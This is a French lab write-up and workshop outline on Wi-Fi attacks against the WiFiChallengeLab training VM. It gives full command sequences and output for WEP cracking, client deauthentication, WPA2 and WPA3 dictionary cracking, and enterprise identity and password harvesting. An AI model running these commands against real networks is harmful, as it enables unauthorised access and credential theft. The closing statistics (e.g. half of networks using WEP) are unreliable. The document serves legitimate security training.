# Lab WIFI - Rettbl
---
[TOC]
---
# Introduction
> [EDU.Cyber](https://edu-cyber.fr/), a eu la volonté de monter un lab permettant de démontrer les différentes vulnérabilités liées au Wi-Fi. Ce document a pour but de synthétiser les démarches pour la mise en place du lab avec les notions Wi-Fi associées.
>
> Je m'appuie sur [l'OVA](https://drive.proton.me/urls/Q4WPB23W7R#Qk4nxMH8Q4oQ) du projet de [r4ulcl](https://github.com/r4ulcl/WiFiChallengeLab) :
>
> 
---
## Définitions
> * **<u>Wi-Fi :</u>** Le Wi-Fi, ou Wireless Fidelity, est une technologie de communication sans fil qui permet d'accéder à Internet et à d'autres réseaux informatiques. Le Wi-Fi utilise des ondes radio pour transmettre des données entre des appareils, tels que des ordinateurs, des smartphones et des tablettes.
> * **<u>SSID :</u>** Service Set IDentifier, est le nom d'un réseau sans fil.
> * **<u>PSK :</u>** Pre-Shared Key, est un type réseau Wi-Fi conçu pour les réseaux personnels.
> * **<u>WEP :</u>** Le WEP, ou Wired Equivalent Privacy, est un protocole de sécurité utilisé pour protéger les réseaux Wi-Fi. Le WEP est un protocole de sécurité Wi-Fi obsolète et peu sûre.
> * **<u>WPA :</u>** Wi-Fi Protected Access (WPA) est un protocole de sécurité utilisé pour protéger les réseaux Wi-Fi. Il a été développé par la Wi-Fi Alliance pour remplacer le protocole WEP, qui était considéré comme obsolète et peu sûr.
> * **<u>Adresse MAC :</u>**, Media Access Control, est un identifiant physique stocké dans une carte réseau.
> * **<u>Handshake :</u>** Est un échange de messages entre un point d'accès Wi-Fi et un appareil client pour établir une connexion sécurisée.
## Outils
> Les outils qui seront utilisés pour ce lab, sont décris ci-dessous :
> * `Airmon-ng` est un outil utilisé pour qu'une carte réseau sans fil écoute les paquets sans fil transmis dans la zone.
>* `Besside-ng` est un outil utilisé pour trouver les points d'accès Wi-Fi. Elle permet de détecter des points d'accès Wi-Fi cachés et de récupérer leurs informations, telles que leur SSID, leur adresse MAC et leur type de sécurité.
>* `Hostapd-mana` est un outil permettant de créer des faux points d'accès Wi-Fi.
>* `Wifi_db` est un script python qui permet à partir de captures réseau d'extraire des informations utiles en une vue globale (mode SQL).
>* `Air-Hammer` est un outil utilisé pour effectuer des attaques par force brute contre les réseaux Wi-Fi.
---
## Cas pratique
> Avec ce lab, nous pourrons :
> * Ecouter le trafic réseau
> * Analyser les réseaux Wi-Fi associés
> * Attaquer des réseaux wifi avec sécurité WEP (manuel/automatique)
> * Attaquer des réseaux partage de connexion mobile (PSK)
> * Attaquer des réseaux wifi sous WPA2
> * Attaquer des réseaux wifi sous WPA3
> * Récupérer des informations sur les personnes connectées + mot de passe
### Écouter le traffic réseau
> Pour mettre en place une écoute du réseau wifi :
> ```bash=
> sudo airmon-ng start wlan0
> sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg
> ```
> 
>
>Cette manipulation nous permet d'observer les différents points d'accès wifi.
### Attaque d'un réseau WEP
> Lors de l'analyse du réseau, nous découvrons un réseau wifi avec une protection WEP :
> ```bash=
> user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg
> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS ESSI MANUFACTURER
> F0:9F:C2:AA:19:29 -28 203 5999 332 1 54 WEP WEP wifi-old Ubiquiti Networks Inc.
>```
>
>Pour exploiter ce réseau voici 2 types de démarche. La première permet de le faire de façon automatique, la deuxième la fait manuellement :
>* Nous tentons d'exploiter le point d'accès en précisant son adresse MAC en exploitant le canal sur lequel le point fonctionne depuis notre carte réseau wlan2 :
>```bash=
>sudo besside-ng -c 1 -b F0:9F:C2:AA:19:29 wlan2 -v
>```
>
>
>Pour le faire manuellement :
>1. On capture dans un premier temps les données sur le réseau avec `aircrack`.
>```bash=
>sudo airodump-ng -c 1 --bssid F0:9F:C2:AA:19:29 -w wifi-old wlan0mon
>```
>
>2. Nous allons ensuite générer des données pour forcer les clients à se désauthentifier.
>```bash=
>sudo aireplay-ng -1 3600 -q 10 -a F0:9F:C2:AA:19:29 wlan0mon
>```
>
>3. Nous générons ensuite du trafic en lançant une attaque par rejeu de demande ARP.
>```bash=
>sudo aireplay-ng --arpreplay -b F0:9F:C2:AA:19:29 -h BA:49:A9:53:A1:8C wlan0mon
>```
>
>4. Nous pouvons ensuite cracker le mot de passe avec `aicrack` :
>```bash=
>sudo aircrack-ng wifi-old-01.cap
>```
> Ci dessous une image récapitulant les 4 étapes :
>
>
### Attaque d'un réseau PSK
>Lors de l'analyse du réseau, nous découvrons des réseauw wifi avec une protection PSK :
>```bash=
>sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg
> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS ESSI MANUFACTURER
> 82:AF:13:1F:F4:E6 -28 5 0 0 6 54 CCMP PSK 0.0 WIFI-JUAN Unknown
> CE:35:D5:5C:63:2E -28 5 0 0 6 54 WPA2 CCMP PSK 0.0 MiFibra-5-D6G3 Unknown
> F0:9F:C2:71:22:12 -28 5 0 0 6 54 CCMP PSK 0.0 wifi-mobile Ubiquiti Networks Inc.
> EE:C8:ED:95:FB:DA -28 5 0 0 9 54 TKIP PSK 0.0 vodafone7123 Unknown
> F2:CC:56:36:E4:18 -28 10 0 0 3 54 CCMP PSK 0.0 MOVISTAR_JYG2 Unknown
>```
>Nous nous intéresserons ici au réseau `wifi-mobile`. Nous pourrions aussi pu utiliser la commande `airodump-ng wlan0mon -w ~/wifi/scanc6 -c 6 --wps` qui liste directement les réseaux avec authentification PSK.
>Nous lancerons ensuite `aircack` pour écouter le réseau et envoyer des requêtes de désauthentification :
>```bash=
>sudo airmon-ng check kill
>sudo airmon-ng start wlan0
>sudo iwconfig wlan0mon channel 6
>sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon
>```
>
>
>Nous pouvons ensuite effectuer une attaque par mot de passe sur les paquets récupérés :
>```bash=
>sudo aircrack-ng scanc6-01.cap -w wifi-rockyou.txt
>```
>
### Attaque d'un réseau WPA2
> Lors de l'analyse du réseau, nous découvrons un réseau wifi avec une protection WPA2 :
> ```bash=
> user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg
> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH
>F0:9F:C2:71:22:15 -28 9 2 0 44 54e WPA2 CCMP MGT wifi-corp Ubiquiti Networks Inc.
> F0:9F:C2:71:22:16 -28 9 0 0 44 54e WPA2 CCMP MGT wifi-regional Ubiquiti Networks Inc.
> F0:9F:C2:7A:33:28 -28 9 0 0 44 54e WPA2 CCMP MGT wifi-regional-tablets Ubiquiti Networks Inc.
> F0:9F:C2:71:22:1A -28 9 0 0 44 54e WPA2 CCMP MGT wifi-corp Ubiquiti Networks Inc.
> F0:9F:C2:71:22:17 -28 9 245 13 44 54e WPA2 CCMP MGT wifi-global Ubiquiti Networks Inc.
> BE:BA:E1:EB:80:21 -28 4 0 0 6 54 WPA2 CCMP PSK 0.0 MiFibra-5-D6G3 Unknown
>```
>Nous allons tenter ici de cracker le mot de passe du réseau wifi `wifi-global`. Pour cela nous allons créer un faux point d'accès (AP) avec l'outil `hostapd-mana`. Cela nous permet de récupérer le *handshake* wifi lorsqu'un client essaye de se connecter.
>Nous allons écouter le réseau `wifi-global` et repérer les clients associé de la manière suivante :
>```bash=
>user@WiFiChallengeLab:~/wifi/WPA22$ sudo airodump-ng -c 44 --bssid F0:9F:C2:71:22:17 -w scan2 wlan0mon
>08:48:08 Created capture file "scan2-01.cap".
>
> CH 44 ][ Elapsed: 1 min ][ 2023-12-14 08:49 ][ WPA handshake: F0:9F:C2:71:22:17
>
> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
>
> F0:9F:C2:71:22:17 -28 0 667 12286 0 44 54e WPA2 CCMP MGT wifi-global
>
> BSSID STATION PWR Rate Lost Frames Notes Probes
>
> F0:9F:C2:71:22:17 64:32:A8:BA:18:42 -29 24e-24e 0 5031 PMKID
> F0:9F:C2:71:22:17 64:32:A8:BC:53:51 -29 48e- 6e 267 6563 PMKID
>```
>Nous avons 2 clients qui sont connectés au réseau wifi actuellement. Nous allons cibler un des clients pour forcer un déconnexion et récupérer le *handshake* :
>```bash=
>user@WiFiChallengeLab:~/wifi/WPA22$ sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:17 -c 64:32:A8:BA:18:42 wlan0mon
>09:04:29 Waiting for beacon frame (BSSID: F0:9F:C2:71:22:17) on channel 44
>09:04:29 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:30 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:31 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:32 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:32 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:33 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:34 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:35 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:36 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>09:04:37 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs]
>```
>
>Nous pouvons maintenant tenter de casser la clé wifi avec `aircrack` :
>```bash=
>user@WiFiChallengeLab:~/wifi/WPA22$ sudo aircrack-ng -w ../rockyou-top100000.txt -b F0:9F:C2:71:22:17 scan2-01.cap
>Reading packets, please wait...
>Opening scan2-01.cap
>Read 12349 packets.
>
>1 potential targets
> Aircrack-ng 1.6
> KEY FOUND! [ chocolatine ]
>
>
> Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
> B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
>
> Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
> CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
> FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
> 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
>
> EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
>```
>
> Bravo vous avez cracké un réseau en WPA2.
### Attaque d'un réseau WPA3
> Les réseaux WPA3 sont les derniers points d'accès aux normes en 2023. Il est toujours possible d'effectuer des attaques par mot de passes. Nous pouvons utiliser l'outil [wacker](https://github.com/blunderbuss-wctf/wacker).
> Lors de notre écoute, nous observons un réseau en WPA3 :
> ```bash=
> user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg
> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH
> F0:9F:C2:11:0A:24 -28 22 0 0 11 54e TKIP SAE wifi-management Ubiquiti Networks Inc.
> F0:9F:C2:1A:CA:25 -28 22 0 0 11 54e TKIP SAE wifi-IT Ubiquiti Networks Inc.
>```
>
> Avec l'outil nous pouvons effectuer une attaque par mot de passe sur le réseau `wifi-management` :
>```bash=
>root@WiFiChallengeLab:/home/user/tools/wacker# python3 wacker.py --wordlist /home/user/wifi/rockyou-top100000.txt --ssid wifi-management --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462
>Starting wpa_supplicant...
>Successfully initialized wpa_supplicant
>Start time: 12 Dec 2023 15:38:53
> 1469 / 1000000 words (0.15%) : 79 words/sec : 0.008 hours lapsed : 3.49 hours to exhaust (12 Dec 2023 19:09:02)
>Found the password: 'chocolate1'
>
>Stop time: 12 Dec 2023 15:39:24
>```
>
>Nous pouvons également exploiter le réseau `wifi-IT` en forçant un client à se connecter à notre faux point d'accès en WPA2. Ce qui nous permet de récuperer le *handshake* et ensuite nous pourrons le casser.
## Récupérer des informations sur les personnes connectés
> Dans les réseaux wifi professionnels, les utilisateurs se connecte avec des comptes uniques associés à leurs personnes. Nous allons tenter de récupérer des informations sur les personnes connectés :
> ```bash=
> airodump-ng wlan0mon -w scanc44 -c 44 --wps
> wireshark scanc44-01.cap
> ```
> 
>
> Nous donc pouvons récupérer les comptes qui se connectent au point d'accès. Nous allons ensuite avec l'outil `wifi_db` créer une base de données SQLite pour visualiser les données récupérer :
> ```bash=
> python3 wifi_db.py -d wifichallenge.SQLITE /home/user/wifi/identity/scanc44-02.*
> sqlitebrowser wifichallenge.SQLITE
> ```
>
>
> Nous avons désormais les différents clients qui se sont connectés à notre point d'accès.
### Récupérer le mot de passe d'une personne connecté
>Nous allons maintenant essayer de trouver le mot de passe d'un des comptes avec l'outil `air-hammer` :
>```bash=
>echo 'CONTOSO\test' > test.user
> sudo ./air-hammer.py -i wlan3 -e wifi-corp -p /home/user/wifi/rockyou-top100000.txt -u test.user
>```
>
---
## Protection/Visualisation
> Avec l'outil WIDS (Wireless IDS) - Nzyme. Nous pouvons visualiser les différentes attaques via cet outil :
>
> 
>
> Cet outil peut également servir de protection dans un réseau wifi.
## Présentation
> Une présentation de ce workshop se passera le 16 janvier 2024 à distance.
### 1. Introduction
> Bonjour à tous ! Je suis Mathis, passionné de cybersécurité et actuellement en alternance dans ce domaine fascinant.
> Tout d'abord je tiens à préciser que c'est la première fois que je fais ce type d'évenement alors n'hésitez pas à me reprendre ou autres il n'y a pas de soucis.
>
> Donc le Wi-Fi est une technologie de communication sans fil qui permet aux appareils de se connecter à Internet ou à un réseau local. Elle est très populaire, car elle est facile à utiliser et offre une connexion rapide et fiable. C'est une technologie qui est devenue essentielle dans notre vie quotidienne.
>
> Le Wi-Fi Alliance créé en 1999 sous le nom de Wireless Ethernet Comptability Alliance. Il existe 2 type de fréquence (2.4 GHz et 5 GHz), ces deux fréquences sont complémentaires et permettent un fonctionnement optimal.
>Les réseaux WiFi, sont comme des voies sur une autoroute. Leur arrangement vise à éviter les embouteillages et les interférences, assurant ainsi une circulation fluide des données.
>
>Il existe de nombreux standards et normes wifi qui montre que ce dernier ne cesse d'évoluer à travers les années.
### 2. Définitions
> Le WEP est fortement déconseiller par l'ANSSI (agence nationale de cybersécurité) dans sont livret "Sécuriser les accès Wi-Fi".
>
> Le beacon ou beacon frame, est un message envoyé par le point d'accès Wifi. Dans ce message nous retrouvons toutes les informations à propos de la connexion wifi. Dont le chiffrement.
### 3. Démonstrations
> **Les vulnérabilités des protocoles de sécurité :** les protocoles de sécurité utilisés pour protéger les réseaux Wi-Fi sont parfois vulnérables à des attaques. Par exemple, le protocole WPA2, qui est utilisé par la plupart des réseaux Wi-Fi modernes, a été compromis par la vulnérabilité KRACK en 2017.
> **Les vulnérabilités des appareils :** les appareils Wi-Fi peuvent également être vulnérables à des attaques. Par exemple, les routeurs Wi-Fi sont souvent mal configurés, ce qui peut les rendre vulnérables à des attaques.
> Ces attaques peuvent amener à des vols de données, la prise de contrôle de l'équipement,...
>
> Le principe est d'envoyer des trames de désauthentification à un client connecté sur un BSSID. Cela va forcer le client à se reconnecter à nous permettre de récupérer les beacons.
> Rogue AP, est un faux point d'accès Wi-Fi, exemple Mac Do gratuit. Ce dernier a pour but de tromper les utilisateurs pour qu'il se connecte dessus et récupérer des informations.
### 4. Les protections
> Durant les attaques Wi-Fi, l'outil Nzyme était installe en arrière plan. Ce dernier de visualiser les différentes attaques sur le Wifi et de prendre des mesures de protection.
### 5. Les recommendations
> Les autres mesures de protections sont :
> * Mettez à jour les logiciels et les firmwares de vos appareils Wi-Fi : les mises à jour de sécurité corrigent souvent les vulnérabilités connues.
>* Utilisez un mot de passe fort pour votre réseau Wi-Fi : un mot de passe fort rend plus difficile pour les cybercriminels de s'y connecter.
> * Activez le chihffrement sur votre réseau Wi-Fi : le chiffrement protège le trafic Wi-Fi de l'interception.
### 6. Conclusion
> Pour finir sur quelques chiffres :
> * Une étude de l'ANSSI a montré que 70 % des réseaux Wi-Fi publics sont vulnérables aux attaques.
> * La moitié des réseaux Wi-Fi dans le monde utilisent encore le protocole WEP, qui est considéré comme très peu sécurisé.
>
> En résumé, nous avons exploré les fondements du WiFi, identifié des vulnérabilités potentielles, et discuté de mesures de protection cruciales. N'oubliez pas, la sécurité commence par des actions simples mais impactantes.
>
## Ressources
>https://johnermac.github.io/notes/ecppt/wifi/
>https://www.aircrack-ng.org/doku.php?id=cracking_wpa
>https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46
>https://github.com/nzymedefense/nzyme
> https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/